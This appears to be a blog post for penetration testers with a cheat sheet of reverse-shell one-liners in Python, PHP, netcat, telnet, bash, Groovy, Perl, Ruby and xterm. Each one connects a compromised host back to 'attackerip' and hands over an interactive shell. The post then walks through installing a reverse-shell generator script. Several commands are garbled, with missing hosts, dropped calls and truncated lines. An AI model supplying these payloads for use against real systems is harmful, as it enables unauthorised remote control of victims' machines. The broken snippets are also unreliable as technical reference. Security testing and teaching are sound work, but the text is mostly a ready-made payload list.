Some thoughts about reverse shells

During a penetration test, you could lucky enough to find a RCE vulnerability: in this case, the next step should be to obtain an interactive shell.

One of the most used method is the creation of a reverse shell, useful to get through firewalls.

First, a bit of theory.

What is a Reverse Shell?

The reverse shell is an attack technique used when the target machine is NATed and hence not directly reachable.
If attacker’s machine is reachable, it could open a communication channel on a port and waits for incoming connections.
Target machine acts as a client and initiates a connection to the attacker’s listening server.

So, below a simple cheatsheet of commands for the major languages/OS focused on the creation of a reverse shell:


Tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 1234

If you have the wrong version of netcat installed, you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f

More information about reverse shells with netcat on this article: Reverse shell with Netcat: some use cases


Of course, you can also use Telnet as an alternative for Netcat:
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p


telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


Alternatives for Bash shell:

exec /bin/bash 0&0 2>&0


0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196


exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done


bash -i >& /dev/tcp/ 0>&1


Shorter Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;"attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e '"attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print}end'


To catch incoming xterm, start an open X Server on your system (:1 – which listens on TCP port 6001). One way to do this is with Xnest:
Xnest :1

Then remember to authorise on your system the target IP to connect to you:

xterm -display
xhost +targetip

Then on the target (assuming that xterm is installed!) connect back to the open X Server on your system:

xterm -display attackerip:1


$ DISPLAY=attackerip:0 xterm

It will try to connect back to you, attackerip, on TCP port 6001.

I need help!

Do you think it’s hard to memorize all reverse shells? It’s true!

Luckily, Matheus Bernardes developed a useful script that can helps security expert to build the correct code for all kind of reverse shell:


First, install clint:

$ pip install clint
Collecting clint
 Downloading clint-0.5.1.tar.gz
Collecting args (from clint)
 Downloading args-0.1.0.tar.gz
Building wheels for collected packages: clint, args
 Running bdist_wheel for clint ... done
 Stored in directory: /home/andrea/.cache/pip/wheels/aa/65/4a/a0bceb0a6bee518b1dace4c803f24c4ac8febe55bdca0f14ed
 Running bdist_wheel for args ... done
 Stored in directory: /home/andrea/.cache/pip/wheels/0a/e0/66/35419f9f9ee41099a3631f0f308b9604bd1ffeabc066d69070
Successfully built clint args
Installing collected packages: args, clint
Successfully installed args-0.1.0 clint-0.5.1

Then clone the github repository:

$ git clone
Cloning into 'rsg'...
remote: Counting objects: 18, done.
remote: Total 18 (delta 0), reused 0 (delta 0), pack-reused 18
Unpacking objects: 100% (18/18), done.

and run the tool:

$ ./rsg
Syntax Error:
python ./rsg ip port
python ./rsg 4444

More information and downloads